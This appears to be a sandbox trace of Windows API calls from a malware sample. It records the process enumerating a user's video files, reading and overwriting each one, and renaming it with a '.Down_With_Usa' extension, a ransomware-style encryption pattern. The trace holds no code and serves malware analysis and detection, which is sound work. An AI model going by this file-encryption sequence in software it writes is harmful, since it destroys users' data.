[0123.461] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3d3f2e0, ftCreationTime.dwHighDateTime=0x1d5e011, ftLastAccessTime.dwLowDateTime=0xc4ac2560, ftLastAccessTime.dwHighDateTime=0x1d5dc78, ftLastWriteTime.dwLowDateTime=0xc4ac2560, ftLastWriteTime.dwHighDateTime=0x1d5dc78, nFileSizeHigh=0x0, nFileSizeLow=0xff1a, dwReserved0=0x0, dwReserved1=0x0, cFileName="-3 PQNbLsLUOvRJL.swf", cAlternateFileName="-3PQNB~1.SWF")) returned 1
[0123.461] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac088ee0, ftCreationTime.dwHighDateTime=0x1d5e146, ftLastAccessTime.dwLowDateTime=0x563c0a40, ftLastAccessTime.dwHighDateTime=0x1d5dd82, ftLastWriteTime.dwLowDateTime=0x563c0a40, ftLastWriteTime.dwHighDateTime=0x1d5dd82, nFileSizeHigh=0x0, nFileSizeLow=0x16178, dwReserved0=0x0, dwReserved1=0x0, cFileName="2lr-.mp4", cAlternateFileName="")) returned 1
[0123.461] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf73f3210, ftCreationTime.dwHighDateTime=0x1d5dd4a, ftLastAccessTime.dwLowDateTime=0x66f87110, ftLastAccessTime.dwHighDateTime=0x1d5db67, ftLastWriteTime.dwLowDateTime=0x66f87110, ftLastWriteTime.dwHighDateTime=0x1d5db67, nFileSizeHigh=0x0, nFileSizeLow=0x3eb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FML-XDFI9V3SErlu.mkv", cAlternateFileName="FML-XD~1.MKV")) returned 1
[0123.461] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20dc8fe0, ftCreationTime.dwHighDateTime=0x1d5e00d, ftLastAccessTime.dwLowDateTime=0xfcb32d70, ftLastAccessTime.dwHighDateTime=0x1d5e590, ftLastWriteTime.dwLowDateTime=0xfcb32d70, ftLastWriteTime.dwHighDateTime=0x1d5e590, nFileSizeHigh=0x0, nFileSizeLow=0x1332b, dwReserved0=0x0, dwReserved1=0x0, cFileName="KTF9.mkv", cAlternateFileName="")) returned 1
[0123.461] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9451490, ftCreationTime.dwHighDateTime=0x1d5da87, ftLastAccessTime.dwLowDateTime=0xeef050, ftLastAccessTime.dwHighDateTime=0x1d5dd57, ftLastWriteTime.dwLowDateTime=0xeef050, ftLastWriteTime.dwHighDateTime=0x1d5dd57, nFileSizeHigh=0x0, nFileSizeLow=0xd960, dwReserved0=0x0, dwReserved1=0x0, cFileName="m728cAs-ZDAeNdzBe4.flv", cAlternateFileName="M728CA~1.FLV")) returned 1
[0123.461] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe49cef0, ftCreationTime.dwHighDateTime=0x1d5e437, ftLastAccessTime.dwLowDateTime=0x5ab8e920, ftLastAccessTime.dwHighDateTime=0x1d5e30f, ftLastWriteTime.dwLowDateTime=0x5ab8e920, ftLastWriteTime.dwHighDateTime=0x1d5e30f, nFileSizeHigh=0x0, nFileSizeLow=0xfabc, dwReserved0=0x0, dwReserved1=0x0, cFileName="PATiZwaB5K5NO9_.avi", cAlternateFileName="PATIZW~1.AVI")) returned 1
[0123.461] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8b1deb0, ftCreationTime.dwHighDateTime=0x1d5e14b, ftLastAccessTime.dwLowDateTime=0xba646ef0, ftLastAccessTime.dwHighDateTime=0x1d5d921, ftLastWriteTime.dwLowDateTime=0xba646ef0, ftLastWriteTime.dwHighDateTime=0x1d5d921, nFileSizeHigh=0x0, nFileSizeLow=0x11a0d, dwReserved0=0x0, dwReserved1=0x0, cFileName="STKRBgPrDZ2m.swf", cAlternateFileName="STKRBG~1.SWF")) returned 1
[0123.461] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd05d030, ftCreationTime.dwHighDateTime=0x1d5de37, ftLastAccessTime.dwLowDateTime=0x5df33200, ftLastAccessTime.dwHighDateTime=0x1d5e740, ftLastWriteTime.dwLowDateTime=0x5df33200, ftLastWriteTime.dwHighDateTime=0x1d5e740, nFileSizeHigh=0x0, nFileSizeLow=0xbecd, dwReserved0=0x0, dwReserved1=0x0, cFileName="TZ9Ljhsc9gy.swf", cAlternateFileName="TZ9LJH~1.SWF")) returned 1
[0123.461] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49be59d0, ftCreationTime.dwHighDateTime=0x1d5da53, ftLastAccessTime.dwLowDateTime=0x95c4bfe0, ftLastAccessTime.dwHighDateTime=0x1d5e16a, ftLastWriteTime.dwLowDateTime=0x95c4bfe0, ftLastWriteTime.dwHighDateTime=0x1d5e16a, nFileSizeHigh=0x0, nFileSizeLow=0xc486, dwReserved0=0x0, dwReserved1=0x0, cFileName="VDs-U8bKI0sNwcUbM.mp4", cAlternateFileName="VDS-U8~1.MP4")) returned 1
[0123.461] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
[0123.461] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0123.462] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb4d0) returned 1
[0123.462] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb490) returned 1
[0123.462] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb580) returned 1
[0123.462] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9", nBufferLength=0x105, lpBuffer=0x2eb070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9", lpFilePart=0x0) returned 0x41
[0123.462] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\", nBufferLength=0x105, lpBuffer=0x2eb010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\", lpFilePart=0x0) returned 0x42
[0123.462] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\*", lpFindFileData=0x2eb220 | out: lpFindFileData=0x2eb220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8cab5d40, ftCreationTime.dwHighDateTime=0x1d5e748, ftLastAccessTime.dwLowDateTime=0xb11be700, ftLastAccessTime.dwHighDateTime=0x1d5dc83, ftLastWriteTime.dwLowDateTime=0xb11be700, ftLastWriteTime.dwHighDateTime=0x1d5dc83, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0123.462] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8cab5d40, ftCreationTime.dwHighDateTime=0x1d5e748, ftLastAccessTime.dwLowDateTime=0xb11be700, ftLastAccessTime.dwHighDateTime=0x1d5dc83, ftLastWriteTime.dwLowDateTime=0xb11be700, ftLastWriteTime.dwHighDateTime=0x1d5dc83, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0123.462] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3d3f2e0, ftCreationTime.dwHighDateTime=0x1d5e011, ftLastAccessTime.dwLowDateTime=0xc4ac2560, ftLastAccessTime.dwHighDateTime=0x1d5dc78, ftLastWriteTime.dwLowDateTime=0xc4ac2560, ftLastWriteTime.dwHighDateTime=0x1d5dc78, nFileSizeHigh=0x0, nFileSizeLow=0xff1a, dwReserved0=0x0, dwReserved1=0x0, cFileName="-3 PQNbLsLUOvRJL.swf", cAlternateFileName="-3PQNB~1.SWF")) returned 1
[0123.462] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac088ee0, ftCreationTime.dwHighDateTime=0x1d5e146, ftLastAccessTime.dwLowDateTime=0x563c0a40, ftLastAccessTime.dwHighDateTime=0x1d5dd82, ftLastWriteTime.dwLowDateTime=0x563c0a40, ftLastWriteTime.dwHighDateTime=0x1d5dd82, nFileSizeHigh=0x0, nFileSizeLow=0x16178, dwReserved0=0x0, dwReserved1=0x0, cFileName="2lr-.mp4", cAlternateFileName="")) returned 1
[0123.462] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf73f3210, ftCreationTime.dwHighDateTime=0x1d5dd4a, ftLastAccessTime.dwLowDateTime=0x66f87110, ftLastAccessTime.dwHighDateTime=0x1d5db67, ftLastWriteTime.dwLowDateTime=0x66f87110, ftLastWriteTime.dwHighDateTime=0x1d5db67, nFileSizeHigh=0x0, nFileSizeLow=0x3eb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FML-XDFI9V3SErlu.mkv", cAlternateFileName="FML-XD~1.MKV")) returned 1
[0123.463] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20dc8fe0, ftCreationTime.dwHighDateTime=0x1d5e00d, ftLastAccessTime.dwLowDateTime=0xfcb32d70, ftLastAccessTime.dwHighDateTime=0x1d5e590, ftLastWriteTime.dwLowDateTime=0xfcb32d70, ftLastWriteTime.dwHighDateTime=0x1d5e590, nFileSizeHigh=0x0, nFileSizeLow=0x1332b, dwReserved0=0x0, dwReserved1=0x0, cFileName="KTF9.mkv", cAlternateFileName="")) returned 1
[0123.463] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9451490, ftCreationTime.dwHighDateTime=0x1d5da87, ftLastAccessTime.dwLowDateTime=0xeef050, ftLastAccessTime.dwHighDateTime=0x1d5dd57, ftLastWriteTime.dwLowDateTime=0xeef050, ftLastWriteTime.dwHighDateTime=0x1d5dd57, nFileSizeHigh=0x0, nFileSizeLow=0xd960, dwReserved0=0x0, dwReserved1=0x0, cFileName="m728cAs-ZDAeNdzBe4.flv", cAlternateFileName="M728CA~1.FLV")) returned 1
[0123.463] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe49cef0, ftCreationTime.dwHighDateTime=0x1d5e437, ftLastAccessTime.dwLowDateTime=0x5ab8e920, ftLastAccessTime.dwHighDateTime=0x1d5e30f, ftLastWriteTime.dwLowDateTime=0x5ab8e920, ftLastWriteTime.dwHighDateTime=0x1d5e30f, nFileSizeHigh=0x0, nFileSizeLow=0xfabc, dwReserved0=0x0, dwReserved1=0x0, cFileName="PATiZwaB5K5NO9_.avi", cAlternateFileName="PATIZW~1.AVI")) returned 1
[0123.463] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8b1deb0, ftCreationTime.dwHighDateTime=0x1d5e14b, ftLastAccessTime.dwLowDateTime=0xba646ef0, ftLastAccessTime.dwHighDateTime=0x1d5d921, ftLastWriteTime.dwLowDateTime=0xba646ef0, ftLastWriteTime.dwHighDateTime=0x1d5d921, nFileSizeHigh=0x0, nFileSizeLow=0x11a0d, dwReserved0=0x0, dwReserved1=0x0, cFileName="STKRBgPrDZ2m.swf", cAlternateFileName="STKRBG~1.SWF")) returned 1
[0123.463] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd05d030, ftCreationTime.dwHighDateTime=0x1d5de37, ftLastAccessTime.dwLowDateTime=0x5df33200, ftLastAccessTime.dwHighDateTime=0x1d5e740, ftLastWriteTime.dwLowDateTime=0x5df33200, ftLastWriteTime.dwHighDateTime=0x1d5e740, nFileSizeHigh=0x0, nFileSizeLow=0xbecd, dwReserved0=0x0, dwReserved1=0x0, cFileName="TZ9Ljhsc9gy.swf", cAlternateFileName="TZ9LJH~1.SWF")) returned 1
[0123.463] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49be59d0, ftCreationTime.dwHighDateTime=0x1d5da53, ftLastAccessTime.dwLowDateTime=0x95c4bfe0, ftLastAccessTime.dwHighDateTime=0x1d5e16a, ftLastWriteTime.dwLowDateTime=0x95c4bfe0, ftLastWriteTime.dwHighDateTime=0x1d5e16a, nFileSizeHigh=0x0, nFileSizeLow=0xc486, dwReserved0=0x0, dwReserved1=0x0, cFileName="VDs-U8bKI0sNwcUbM.mp4", cAlternateFileName="VDS-U8~1.MP4")) returned 1
[0123.463] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49be59d0, ftCreationTime.dwHighDateTime=0x1d5da53, ftLastAccessTime.dwLowDateTime=0x95c4bfe0, ftLastAccessTime.dwHighDateTime=0x1d5e16a, ftLastWriteTime.dwLowDateTime=0x95c4bfe0, ftLastWriteTime.dwHighDateTime=0x1d5e16a, nFileSizeHigh=0x0, nFileSizeLow=0xc486, dwReserved0=0x0, dwReserved1=0x0, cFileName="VDs-U8bKI0sNwcUbM.mp4", cAlternateFileName="VDS-U8~1.MP4")) returned 0
[0123.463] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0123.463] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb4d0) returned 1
[0123.463] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb490) returned 1
[0123.463] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\-3 PQNbLsLUOvRJL.swf", nBufferLength=0x105, lpBuffer=0x2eadb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\-3 PQNbLsLUOvRJL.swf", lpFilePart=0x0) returned 0x56
[0123.464] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb290) returned 1
[0123.464] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\-3 PQNbLsLUOvRJL.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\8rebeh9\\-3 pqnblsluovrjl.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0123.464] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb200) returned 1
[0123.464] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb428 | out: lpFileSizeHigh=0x2eb428*=0x0) returned 0xff1a
[0123.464] ReadFile (in: hFile=0x3a8, lpBuffer=0x262add0, nNumberOfBytesToRead=0xff1a, lpNumberOfBytesRead=0x2eb358, lpOverlapped=0x0 | out: lpBuffer=0x262add0*, lpNumberOfBytesRead=0x2eb358*=0xff1a, lpOverlapped=0x0) returned 1
[0123.501] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\-3 PQNbLsLUOvRJL.swf", nBufferLength=0x105, lpBuffer=0x2eadc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\-3 PQNbLsLUOvRJL.swf", lpFilePart=0x0) returned 0x56
[0123.501] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb2a0) returned 1
[0123.501] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\-3 PQNbLsLUOvRJL.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\8rebeh9\\-3 pqnblsluovrjl.swf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0123.504] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb210) returned 1
[0123.508] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\-3 PQNbLsLUOvRJL.swf", nBufferLength=0x105, lpBuffer=0x2eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\-3 PQNbLsLUOvRJL.swf", lpFilePart=0x0) returned 0x56
[0123.508] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\-3 PQNbLsLUOvRJL.swf.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\-3 PQNbLsLUOvRJL.swf.Down_With_Usa", lpFilePart=0x0) returned 0x64
[0123.508] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb3a0) returned 1
[0123.508] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\-3 PQNbLsLUOvRJL.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\8rebeh9\\-3 pqnblsluovrjl.swf"), fInfoLevelId=0x0, lpFileInformation=0x2eb480 | out: lpFileInformation=0x2eb480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3d3f2e0, ftCreationTime.dwHighDateTime=0x1d5e011, ftLastAccessTime.dwLowDateTime=0xc4ac2560, ftLastAccessTime.dwHighDateTime=0x1d5dc78, ftLastWriteTime.dwLowDateTime=0x261245a0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xff20)) returned 1
[0123.508] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb360) returned 1
[0123.508] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\-3 PQNbLsLUOvRJL.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\8rebeh9\\-3 pqnblsluovrjl.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\-3 PQNbLsLUOvRJL.swf.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\8rebeh9\\-3 pqnblsluovrjl.swf.down_with_usa")) returned 1
[0123.509] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\2lr-.mp4", nBufferLength=0x105, lpBuffer=0x2eadb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\2lr-.mp4", lpFilePart=0x0) returned 0x4a
[0123.510] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb290) returned 1
[0123.510] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\2lr-.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\8rebeh9\\2lr-.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0123.510] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb200) returned 1
[0123.510] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb428 | out: lpFileSizeHigh=0x2eb428*=0x0) returned 0x16178
[0123.511] ReadFile (in: hFile=0x3a8, lpBuffer=0x1564f8b8, nNumberOfBytesToRead=0x16178, lpNumberOfBytesRead=0x2eb358, lpOverlapped=0x0 | out: lpBuffer=0x1564f8b8*, lpNumberOfBytesRead=0x2eb358*=0x16178, lpOverlapped=0x0) returned 1
[0123.559] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\2lr-.mp4", nBufferLength=0x105, lpBuffer=0x2eadc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\2lr-.mp4", lpFilePart=0x0) returned 0x4a
[0123.559] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb2a0) returned 1
[0123.559] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\2lr-.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\8rebeh9\\2lr-.mp4"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0123.562] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb210) returned 1
[0123.566] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\2lr-.mp4", nBufferLength=0x105, lpBuffer=0x2eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\2lr-.mp4", lpFilePart=0x0) returned 0x4a
[0123.566] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\2lr-.mp4.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\2lr-.mp4.Down_With_Usa", lpFilePart=0x0) returned 0x58
[0123.566] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb3a0) returned 1
[0123.566] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\2lr-.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\8rebeh9\\2lr-.mp4"), fInfoLevelId=0x0, lpFileInformation=0x2eb480 | out: lpFileInformation=0x2eb480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac088ee0, ftCreationTime.dwHighDateTime=0x1d5e146, ftLastAccessTime.dwLowDateTime=0x563c0a40, ftLastAccessTime.dwHighDateTime=0x1d5dd82, ftLastWriteTime.dwLowDateTime=0x261bcb20, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x16180)) returned 1
[0123.566] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb360) returned 1
[0123.566] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\2lr-.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\8rebeh9\\2lr-.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\2lr-.mp4.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\8rebeh9\\2lr-.mp4.down_with_usa")) returned 1
[0123.567] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\FML-XDFI9V3SErlu.mkv", nBufferLength=0x105, lpBuffer=0x2eadb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\FML-XDFI9V3SErlu.mkv", lpFilePart=0x0) returned 0x56
[0123.567] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb290) returned 1
[0123.567] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\FML-XDFI9V3SErlu.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\8rebeh9\\fml-xdfi9v3serlu.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0123.567] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb200) returned 1
[0123.567] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb428 | out: lpFileSizeHigh=0x2eb428*=0x0) returned 0x3eb8
[0123.567] ReadFile (in: hFile=0x3a8, lpBuffer=0x2636128, nNumberOfBytesToRead=0x3eb8, lpNumberOfBytesRead=0x2eb358, lpOverlapped=0x0 | out: lpBuffer=0x2636128*, lpNumberOfBytesRead=0x2eb358*=0x3eb8, lpOverlapped=0x0) returned 1
[0123.596] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\FML-XDFI9V3SErlu.mkv", nBufferLength=0x105, lpBuffer=0x2eadc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\FML-XDFI9V3SErlu.mkv", lpFilePart=0x0) returned 0x56
[0123.597] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb2a0) returned 1
